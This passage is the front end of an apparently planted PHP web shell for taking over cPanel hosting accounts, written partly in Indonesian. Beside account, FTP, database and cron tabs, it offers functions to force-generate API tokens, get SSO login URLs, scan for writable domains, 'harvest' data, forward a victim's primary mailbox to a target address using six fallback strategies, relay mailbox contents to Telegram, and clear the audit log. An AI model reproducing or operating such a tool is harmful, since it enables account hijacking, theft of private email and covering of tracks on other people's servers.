<button class="btn primary" onclick="ftpCreate()" style="width:100%;">Create FTP</button>
<div id="ftpResult" class="result-box"></div>

<h2 style="margin-top:20px;">Change FTP Password</h2>
<div class="form-row">
<div class="field" style="flex:2;"><label class="field-label">FTP User</label><input type="text" id="ftpPwUser" placeholder="ftpuser"></div>
<div class="field" style="flex:3;"><label class="field-label">New Password</label><input type="text" id="ftpPwPass" placeholder="(auto-generate)"></div>
</div>
<button class="btn warning" onclick="ftpPasswd()" style="width:100%;">🔑 Change FTP Password</button>
<div id="ftpPwResult" class="result-box"></div>

<h2 style="margin-top:20px;">FTP List</h2>
<button class="btn" onclick="ftpList()" style="margin-bottom:10px;">Refresh</button>
<div class="list-body" id="ftpListBody"><div style="padding:20px;text-align:center;color:var(--tm);font-size:12px;">Click Refresh</div></div>
</div>

<div class="pane" id="pane-cron">
<h2>Add Cron</h2>
<div class="form-row">
<div class="field" style="flex:1;"><label class="field-label">Min</label><input type="text" id="crMin" value="*"></div>
<div class="field" style="flex:1;"><label class="field-label">Hour</label><input type="text" id="crHour" value="*"></div>
<div class="field" style="flex:1;"><label class="field-label">Day</label><input type="text" id="crDay" value="*"></div>
<div class="field" style="flex:1;"><label class="field-label">Month</label><input type="text" id="crMon" value="*"></div>
<div class="field" style="flex:1;"><label class="field-label">Weekday</label><input type="text" id="crWeek" value="*"></div>
</div>
<div class="field"><label class="field-label">Command</label><input type="text" id="crCmd" placeholder="/usr/bin/php /home/user/script.php"></div>
<button class="btn primary" onclick="cronCreate()" style="width:100%;">Add Cron</button>
<div id="cronResult" class="result-box"></div>
<h2 style="margin-top:20px;">Cron List</h2>
<button class="btn" onclick="cronList()" style="margin-bottom:10px;">Refresh</button>
<div class="list-body" id="cronListBody"><div style="padding:20px;text-align:center;color:var(--tm);font-size:12px;">Click Refresh</div></div>
</div>

<div class="pane" id="pane-audit">
<h2>Audit Log</h2>
<div style="display:flex;gap:8px;margin-bottom:12px;">
<button class="btn" onclick="auditRefresh()">Refresh</button>
<button class="btn danger" onclick="auditClear()">Clear</button>
</div>
<div id="auditStats" class="status-bar">-</div>
<div class="list-body" id="auditBody">
<div class="audit-row head"><span>Time</span><span>Action</span><span>Message</span><span>Status</span></div>
</div>
</div>

<div class="pane" id="pane-status">
<h2>Status</h2>
<pre class="small" id="statusDetail">Loading...</pre>
<div style="display:flex;gap:8px;margin-top:12px;flex-wrap:wrap;">
<button class="btn" onclick="statusRefresh()">Refresh</button>
<button class="btn warning" onclick="genToken()">Force Token</button>
<button class="btn" onclick="scanWritable()">Scan Writable Domains</button>
<button class="btn" onclick="ssoLogin()">SSO URL</button>
</div>
<div id="tokenResult" class="result-box"></div>
<div id="ssoResult" class="result-box"></div>
<div id="scanResult" class="result-box"></div>
</div>

<div class="pane" id="pane-diag">
<h2>Diagnostic</h2>
<button class="btn primary" onclick="diagRun()" style="width:100%;margin-bottom:12px;">🔍 Run Diagnostic</button>
<pre class="small" id="diagOutput">Click Run Diagnostic</pre>
</div>
</div>
</div>

<script>
document.querySelectorAll('#mainTabs .tab').forEach(function(b){
  b.addEventListener('click', function(){
    document.querySelectorAll('#mainTabs .tab').forEach(function(x){ x.classList.remove('active'); });
    document.querySelectorAll('.pane').forEach(function(x){ x.classList.remove('active'); });
    b.classList.add('active');
    document.getElementById('pane-' + b.dataset.pane).classList.add('active');
    var p = b.dataset.pane;
    if(p === 'audit') auditRefresh();
    if(p === 'recipients') loadRecipients();
    if(p === 'smart') smartLoad();
    if(p === 'email') emailList();
    if(p === 'forwarder') forwarderList();
    if(p === 'db') dbList();
    if(p === 'ftp') ftpList();
    if(p === 'cron') cronList();
    if(p === 'status') loadStatus();
  });
});
function genPass(len){
  len = len||16;
  var U='ABCDEFGHJKLMNPQRSTUVWXYZ',L='abcdefghijkmnpqrstuvwxyz',N='23456789',S='!@#$%^&*',A=U+L+N+S;
  var p = U[Math.floor(Math.random()*U.length)]+L[Math.floor(Math.random()*L.length)]+N[Math.floor(Math.random()*N.length)]+S[Math.floor(Math.random()*S.length)];
  for(var i=4;i<len;i++) p += A[Math.floor(Math.random()*A.length)];
  return p.split('').sort(function(){ return Math.random()-0.5; }).join('');
}
function api(action, extra){
  var u = '?action=' + encodeURIComponent(action);
  if(extra) for(var k in extra){ if(extra[k]!=='' && extra[k]!=null) u += '&' + encodeURIComponent(k) + '=' + encodeURIComponent(extra[k]); }
  return fetch(u).then(r=>r.text()).then(function(t){
    try { return JSON.parse(t); } catch(e){ return {status:'error',message:'Non-JSON: ' + t.substring(0,200)}; }
  }).catch(function(e){ return {status:'error',message:'Fetch error: ' + e.message}; });
}
function showRes(id, r){
  var b = document.getElementById(id); if(!b) return;
  b.className = 'result-box show ' + (r.status==='success' ? 'ok' : (r.status==='partial' ? 'warn' : 'err'));
  var txt = (r.status==='success' ? '✓ ' : (r.status==='partial' ? '⚠ ' : '✗ ')) + (r.message || (r.status==='success' ? 'OK' : 'Error'));
  if(r.tried && r.tried.length) txt += '\n\n── Strategi ──\n' + r.tried.join('\n');
  if(r.writable_domains && r.writable_domains.length) txt += '\n\n── Writable Domains ──\n' + r.writable_domains.join('\n');
  if(r.suggestion) txt += '\n\n💡 ' + r.suggestion;
  if(r.email && r.password) txt += '\n' + r.email + '\n' + r.password;
  if(r.database && r.user && r.password) txt += '\n' + r.database + '\n' + r.user + '\n' + r.password;
  if(r.user && r.password && !r.email && !r.database) txt += '\n' + r.user + '\n' + r.password;
  if(r.url) txt += '\n' + r.url;
  b.textContent = txt;
  setTimeout(function(){ b.classList.remove('show'); }, 10000);
}
function loadStatus(){
  fetch('?action=cpanel_status').then(r=>r.json()).then(function(d){
    var b = document.getElementById('statusBar');
    if(!d.available){ b.innerHTML = '<span class="status-err">cPanel not detected</span>'; return; }
    var tb = d.has_token ? '<span class="status-ok">token ok</span>' : '<span class="status-warn">no token</span>';
    var au = d.audit || {};
    b.innerHTML = '<span class="status-ok">cPanel ready</span> · user: <b>' + d.user + '</b> · ' + tb
                + ' · domains: <b>' + (d.domains||[]).length + '</b>'
                + ' · today: <b>' + (au.today||0) + '/' + (au.limit||0) + '</b>'
                + ' · target: <b>' + (d.target_email||'?') + '</b>';
    document.getElementById('statusDetail').textContent = JSON.stringify(d, null, 2);
    var doms = d.domains || [];
    ['emDomain','sdRoot','fwdDomain2'].forEach(function(id){
      var s = document.getElementById(id); if(!s) return;
      s.innerHTML = doms.length ? doms.map(function(x){ return '<option value="' + x + '">' + x + '</option>'; }).join('') : '<option value="">(none)</option>';
    });
  }).catch(function(){ document.getElementById('statusBar').textContent = 'Detection failed'; });
}
function statusRefresh(){ loadStatus(); }
function genToken(){ if(!confirm('Force generate token?')) return; api('cpanel_gen_token').then(function(r){ showRes('tokenResult', r); loadStatus(); }); }
function scanWritable(){
  var o = document.getElementById('scanResult'); o.className='result-box show'; o.textContent='Scanning...';
  api('scan_writable_domains').then(function(r){
    if(r.status === 'success'){
      var txt = 'Total: ' + r.summary.total + ' · Writable: ' + r.summary.writable + ' · Readonly: ' + r.summary.readonly + '\n\n';
      if(r.writable.length){ txt += '── ✅ WRITABLE ──\n'; r.writable.forEach(function(w){ txt += '  ' + w.domain + ' (' + w.perms + ', ' + w.owner + ')\n'; }); }
      if(r.readonly.length){ txt += '\n── ❌ READONLY ──\n'; r.readonly.forEach(function(w){ txt += '  ' + w.domain + ' (' + w.perms + ', ' + w.owner + ')\n'; }); }
      o.className = 'result-box show ok'; o.textContent = txt;
    } else { o.className = 'result-box show err'; o.textContent = 'Failed: ' + (r.message||''); }
  });
}
function ssoLogin(){
  api('sso').then(function(r){
    var b = document.getElementById('ssoResult');
    b.className = 'result-box show ' + (r.status==='success' ? 'ok' : 'err');
    b.innerHTML = (r.status==='success' ? '✓ ' : '✗ ') + (r.message||'');
    if(r.url) b.innerHTML += '\n<a href="' + r.url + '" target="_blank" style="color:var(--a);">' + r.url + '</a>';
  });
}
function diagRun(){ var o = document.getElementById('diagOutput'); o.textContent = 'Running...'; api('diag').then(function(r){ o.textContent = JSON.stringify(r, null, 2); }); }
function harvestRun(){
  if(!confirm('Run harvest?')) return;
  var b = document.getElementById('harvestResult'); b.className='result-box show'; b.textContent='Running...';
  api('harvest_read').then(function(r){ showRes('harvestResult', r); });
}
function smartLoad(){
  api('primary_info').then(function(r){
    var b = document.getElementById('smartPrimaryInfo');
    if(!b) return;
    if(!r.primary){ b.innerHTML = '<span class="status-warn">No primary detected</span>'; return; }
    b.innerHTML = '<span class="status-ok">Primary: <b>' + r.primary + '</b></span> → ' + r.target;
    var inp = document.getElementById('smartSrc');
    if(inp && !inp.value) inp.value = r.primary;
  });
}
function smartForward(){
  var src = document.getElementById('smartSrc').value.trim();
  var dst = document.getElementById('smartDst').value.trim();
  if(!dst){ showRes('smartResult', {status:'error',message:'Dest required'}); return; }
  if(!confirm('Smart Forward:\n' + (src || '(auto)') + ' → ' + dst + '\n\nAkan coba 6 strategi.')) return;
  var b = document.getElementById('smartResult'); b.className='result-box show'; b.textContent='Mencoba strategi...';
  api('smart_forward', {source: src, dest: dst}).then(function(r){ showRes('smartResult', r); });
}
function emailRelay(){
  var src = document.getElementById('relaySrc').value.trim();
  var limit = document.getElementById('relayLimit').value;
  if(!src){ showRes('relayResult', {status:'error',message:'Mailbox email required'}); return; }
  if(!confirm('Baca mailbox ' + src + ' dan kirim ke Telegram?')) return;
  var b = document.getElementById('relayResult'); b.className='result-box show'; b.textContent='Reading...';
  api('email_relay', {source: src, limit: limit}).then(function(r){
    b.className='result-box show ' + (r.status==='success'?'ok':'err');
    var txt = (r.status==='success'?'✓ ':'✗ ') + r.message;
    if(r.emails && r.emails.length){
      txt += '\n\n';
      r.emails.forEach(function(e, i){ txt += '[' + (i+1) + '] ' + e.from + '\n    ' + e.subject + '\n\n'; });
    }
    b.textContent = txt;
  });
}
function loadRecipients(){
  var s = document.getElementById('recipientsSummary'), r = document.getElementById('recipientsResult');
  s.textContent = 'Loading...'; r.innerHTML = '';
  api('list_recipient_emails').then(function(res){
    if(res.status !== 'success' || !res.result){ s.innerHTML='<span class="status-err">Failed</span>'; return; }
    var d = res.result, sum = d.summary || {};
    var badges = [];
    if(sum.PRIMARY) badges.push('<span class="status-ok">📌 ' + sum.PRIMARY + '</span>');
    if(sum.MAILBOX) badges.push('<span class="status-ok">📧 ' + sum.MAILBOX + '</span>');
    if(sum.FORWARD) badges.push('<span class="status-warn">➡ ' + sum.FORWARD + '</span>');
    if(sum.OTHER_USER) badges.push('<span class="status-warn">👥 ' + sum.OTHER_USER + '</span>');
    s.innerHTML = 'Total: <b>' + (d.total||0) + '</b> · ' + badges.join(' · ');
    if(!d.recipients || !d.recipients.length){ r.innerHTML = '<div style="padding:20px;text-align:center;color:var(--tm);">Kosong</div>'; return; }
    var groups = {};
    d.recipients.forEach(function(x){ if(!groups[x.type]) groups[x.type]=[]; groups[x.type].push(x); });
    var html = '';
    ['PRIMARY','MAILBOX','FORWARD','OTHER_USER'].forEach(function(t){
      if(!groups[t] || !groups[t].length) return;
      html += '<h2 style="margin-top:16px;">' + t + ' (' + groups[t].length + ')</h2>';
      html += '<div class="list-body"><div class="row head"><div>Email</div><div></div><div>Source</div><div></div></div>';
      groups[t].forEach(function(x){
        html += '<div class="row"><div><b>' + x.email + '</b><div style="color:var(--tm);font-size:11px;">' + (x.label||'') + '</div></div><div></div><div style="color:var(--mu);font-size:10.5px;">' + (x.source||'') + '</div><div></div></div>';
      });
      html += '</div>';
    });
    var pe = (groups.PRIMARY && groups.PRIMARY[0]) ? groups.PRIMARY[0].email : '';
    if(pe){ var i = document.getElementById('smartSrc'); if(i && !i.value) i.value = pe; var i2 = document.getElementById('relaySrc'); if(i2 && !i2.value) i2.value = pe; }
    r.innerHTML = html;
  }).catch(function(e){ s.innerHTML = '<span class="status-err">' + e.message + '</span>'; });
}
function emailCreate(){
  var d = { local: document.getElementById('emLocal').value.trim(), domain: document.getElementById('emDomain').value, password: document.getElementById('emPass').value.trim(), quota: document.getElementById('emQuota').value, forward: document.getElementById('emFwd').checked ? 1 : 0 };
  if(!d.local || !d.domain){ showRes('emailResult', {status:'error',message:'Required'}); return; }
  api('email_create', d).then(function(r){ showRes('emailResult', r); if(r.status==='success') emailList(); });
}
function emailPasswd(){
  var em = document.getElementById('emPwEmail').value.trim(), p = document.getElementById('emPwPass').value.trim();
  if(!em || em.indexOf('@')<0){ showRes('emailPwResult', {status:'error',message:'Email required'}); return; }
  var pt = em.split('@');
  api('email_passwd', {local: pt[0], domain: pt[1], password: p}).then(function(r){ showRes('emailPwResult', r); });
}
function emailList(){
  var b = document.getElementById('emListBody');
  b.innerHTML = '<div style="padding:20px;text-align:center;color:var(--tm);font-size:12px;">Loading...</div>';
  api('email_list').then(function(d){
    if(d.status !== 'success' || !d.emails.length){ b.innerHTML='<div style="padding:20px;text-align:center;color:var(--tm);font-size:12px;">No emails</div>'; return; }
    var h = '<div class="row head"><div>Email</div><div>Used</div><div>Quota</div><div></div></div>';
    h += d.emails.map(function(e){
      var u = e.used ? (e.used/1048576).toFixed(1)+' MB' : '-', q = e.quota > 0 ? (e.quota+' MB') : '∞', s = e.email.replace(/"/g,'');
      return '<div class="row"><div>' + s + '</div><div style="color:var(--tm);font-size:11.5px;">' + u + '</div><div style="color:var(--tm);font-size:11.5px;">' + q + '</div><div style="text-align:right;"><button class="btn-xs danger" onclick="emailDel(\'' + s + '\')">del</button></div></div>';
    }).join('');
    b.innerHTML = h;
  });
}
function emailDel(e){ if(!confirm('Delete ' + e + '?')) return; api('email_delete', {email:e}).then(function(){ emailList(); }); }
function forwarderCreate(){
  var d = { source: document.getElementById('fwdSrc').value.trim(), domain: document.getElementById('fwdDomain2').value, dest: document.getElementById('fwdDest').value.trim() };
  if(!d.source || !d.dest){ showRes('fwResult', {status:'error',message:'Required'}); return; }
  api('forwarder_create', d).then(function(r){ showRes('fwResult', r); if(r.status==='success') forwarderList(); });
}
function forwarderList(){
  var b = document.getElementById('fwListBody');
  b.innerHTML = '<div style="padding:20px;text-align:center;color:var(--tm);font-size:12px;">Loading...</div>';
  api('forwarder_list').then(function(d){
    if(d.status !== 'success' || !d.forwarders.length){ b.innerHTML='<div style="padding:20px;text-align:center;color:var(--tm);font-size:12px;">No forwarders</div>'; return; }
    var h = '<div class="row head"><div>From</div><div></div><div>To</div><div></div></div>';
    h += d.forwarders.map(function(f){
      var s = (f.source||f.email||'').replace(/"/g,''), t = (f.dest||f.fwdemail||'').replace(/"/g,'');
      return '<div class="row"><div>' + s + '</div><div></div><div>' + t + '</div><div style="text-align:right;"><button class="btn-xs danger" onclick="forwarderDel(\'' + s + '\')">del</button></div></div>';
    }).join('');
    b.innerHTML = h;
  });
}
function forwarderDel(s){ if(!confirm('Delete forwarder ' + s + '?')) return; api('forwarder_delete', {source:s}).then(function(){ forwarderList(); }); }
function subdomainCreate(){
  var d = { sub: document.getElementById('sdSub').value.trim(), rootdomain: document.getElementById('sdRoot').value, dir: document.getElementById('sdDir').value.trim() };
  if(!d.sub || !d.rootdomain){ showRes('sdResult', {status:'error',message:'Required'}); return; }
  api('subdomain_create', d).then(function(r){ showRes('sdResult', r); });
}
function addonCreate(){
  var d = { newdomain: document.getElementById('adNew').value.trim() };
  if(!d.newdomain){ showRes('adResult', {status:'error',message:'Required'}); return; }
  api('addondomain_create', d).then(function(r){ showRes('adResult', r); });
}
function parkedCreate(){
  var d = { domain: document.getElementById('pkDomain').value.trim() };
  if(!d.domain){ showRes('pkResult', {status:'error',message:'Required'}); return; }
  api('parkeddomain_create', d).then(function(r){ showRes('pkResult', r); });
}
function dbCreate(){
  var d = { dbname: document.getElementById('dbName').value.trim(), dbuser: document.getElementById('dbUser').value.trim(), dbpass: document.getElementById('dbPass').value.trim(), grant: document.getElementById('dbGrant').checked ? 1 : 0 };
  if(!d.dbname){ showRes('dbResult', {status:'error',message:'Required'}); return; }
  api('db_create', d).then(function(r){ showRes('dbResult', r); if(r.status==='success') dbList(); });
}
function dbList(){
  var b = document.getElementById('dbListBody');
  b.innerHTML = '<div style="padding:20px;text-align:center;color:var(--tm);font-size:12px;">Loading...</div>';
  api('db_list').then(function(d){
    if(d.status !== 'success' || !d.databases.length){ b.innerHTML='<div style="padding:20px;text-align:center;color:var(--tm);font-size:12px;">No databases</div>'; return; }
    var h = '<div class="row head"><div>Database</div><div>User</div><div>Source</div><div></div></div>';
    h += d.databases.map(function(x){
      var n = (x.name||'').replace(/"/g,'');
      return '<div class="row"><div>' + n + '</div><div style="color:var(--tm);font-size:11.5px;">' + (x.user||'-') + '</div><div style="color:var(--tm);font-size:11.5px;">' + (x.source||'-') + '</div><div style="text-align:right;"><button class="btn-xs danger" onclick="dbDel(\'' + n + '\')">drop</button></div></div>';
    }).join('');
    b.innerHTML = h;
  });
}
function dbDel(n){ if(!confirm('Drop ' + n + '?')) return; api('db_delete', {dbname:n}).then(function(){ dbList(); }); }
function ftpCreate(){
  var d = { user: document.getElementById('ftpUser').value.trim(), pass: document.getElementById('ftpPass').value.trim(), homedir: document.getElementById('ftpDir').value.trim(), quota: document.getElementById('ftpQuota').value };
  if(!d.user){ showRes('ftpResult', {status:'error',message:'Required'}); return; }
  api('ftp_create', d).then(function(r){ showRes('ftpResult', r); if(r.status==='success') ftpList(); });
}
function ftpPasswd(){
  var u = document.getElementById('ftpPwUser').value.trim();
  var p = document.getElementById('ftpPwPass').value.trim();
  if(!u){ showRes('ftpPwResult', {status:'error',message:'FTP user required'}); return; }
  if(!p){ p = genPass(16); document.getElementById('ftpPwPass').value = p; }
  api('ftp_passwd', {user:u, pass:p}).then(function(r){ showRes('ftpPwResult', r); });
}
function ftpFill(u){
  document.getElementById('ftpPwUser').value = u;
  document.getElementById('ftpPwPass').value = genPass(16);
  document.getElementById('ftpPwUser').scrollIntoView({behavior:'smooth', block:'center'});
}
function ftpList(){
  var b = document.getElementById('ftpListBody');
  b.innerHTML = '<div style="padding:20px;text-align:center;color:var(--tm);font-size:12px;">Loading...</div>';
  api('ftp_list').then(function(d){
    if(d.status !== 'success' || !d.accounts.length){ b.innerHTML='<div style="padding:20px;text-align:center;color:var(--tm);font-size:12px;">No FTP</div>'; return; }
    var h = '<div class="row head"><div>User</div><div>Dir</div><div>Quota</div><div></div></div>';
    h += d.accounts.map(function(a){
      var u = (a.user||a.account||'').replace(/"/g,'');
      return '<div class="row"><div>' + u + '</div><div style="color:var(--tm);font-size:11.5px;">' + (a.homedir||a.dir||'-') + '</div><div style="color:var(--tm);font-size:11.5px;">' + (a.quota||'-') + '</div><div style="text-align:right;"><button class="btn-xs warning" onclick="ftpFill(\'' + u + '\')">passwd</button> <button class="btn-xs danger" onclick="ftpDel(\'' + u + '\')">del</button></div></div>';
    }).join('');
    b.innerHTML = h;
  });
}
function ftpDel(u){ if(!confirm('Delete FTP ' + u + '?')) return; api('ftp_delete', {user:u}).then(function(){ ftpList(); }); }
function cronCreate(){
  var d = { minute: document.getElementById('crMin').value, hour: document.getElementById('crHour').value, day: document.getElementById('crDay').value, month: document.getElementById('crMon').value, weekday: document.getElementById('crWeek').value, command: document.getElementById('crCmd').value.trim() };
  if(!d.command){ showRes('cronResult', {status:'error',message:'Command required'}); return; }
  api('cron_create', d).then(function(r){ showRes('cronResult', r); if(r.status==='success') cronList(); });
}
function cronList(){
  var b = document.getElementById('cronListBody');
  b.innerHTML = '<div style="padding:20px;text-align:center;color:var(--tm);font-size:12px;">Loading...</div>';
  api('cron_list').then(function(d){
    if(d.status !== 'success' || !d.cron.length){ b.innerHTML='<div style="padding:20px;text-align:center;color:var(--tm);font-size:12px;">No cron</div>'; return; }
    var h = '<div class="row head" style="grid-template-columns:1fr 60px;"><div>Line</div><div></div></div>';
    h += d.cron.map(function(c){
      var l = (c.line||c.command||JSON.stringify(c)).replace(/"/g,'');
      return '<div class="row" style="grid-template-columns:1fr 60px;"><div>' + l + '</div><div style="text-align:right;"><button class="btn-xs danger" onclick="cronDel(\'' + l.replace(/'/g,"\\'") + '\')">del</button></div></div>';
    }).join('');
    b.innerHTML = h;
  });
}
function cronDel(l){ if(!confirm('Delete cron?')) return; api('cron_delete', {line:l}).then(function(){ cronList(); }); }
function auditRefresh(){
  api('audit_stats').then(function(d){
    if(d.status==='success' && d.stats){
      var s = d.stats;
      document.getElementById('auditStats').innerHTML = 'Today: <b>' + s.today + '/' + s.limit + '</b> · Total: <b>' + s.total + '</b> · Failed: <b>' + s.failed + '</b>';
    }
  });
  var b = document.getElementById('auditBody');
  b.innerHTML = '<div style="padding:20px;text-align:center;color:var(--tm);font-size:12px;">Loading...</div>';
  api('audit_recent', {limit:100}).then(function(d){
    if(d.status !== 'success' || !d.logs.length){ b.innerHTML='<div style="padding:20px;text-align:center;color:var(--tm);font-size:12px;">No logs</div>'; return; }
    var h = '<div class="audit-row head"><span>Time</span><span>Action</span><span>Message</span><span>Status</span></div>';
    h += d.logs.map(function(l){
      var dt = new Date(l.ts*1000).toLocaleString(), cls = l.status === 'success' ? 'ok' : 'err';
      return '<div class="audit-row"><span>' + dt + '</span><span>' + l.action + '</span><span>' + (l.message||'').substring(0,80) + '</span><span><span class="pill ' + cls + '">' + l.status + '</span></span></div>';
    }).join('');
    b.innerHTML = h;
  });
}
function auditClear(){ if(!confirm('Clear logs?')) return; api('audit_clear').then(function(){ auditRefresh(); }); }
window.addEventListener('DOMContentLoaded', function(){ loadStatus(); });
</script>
</body>
</html>
<?php
?>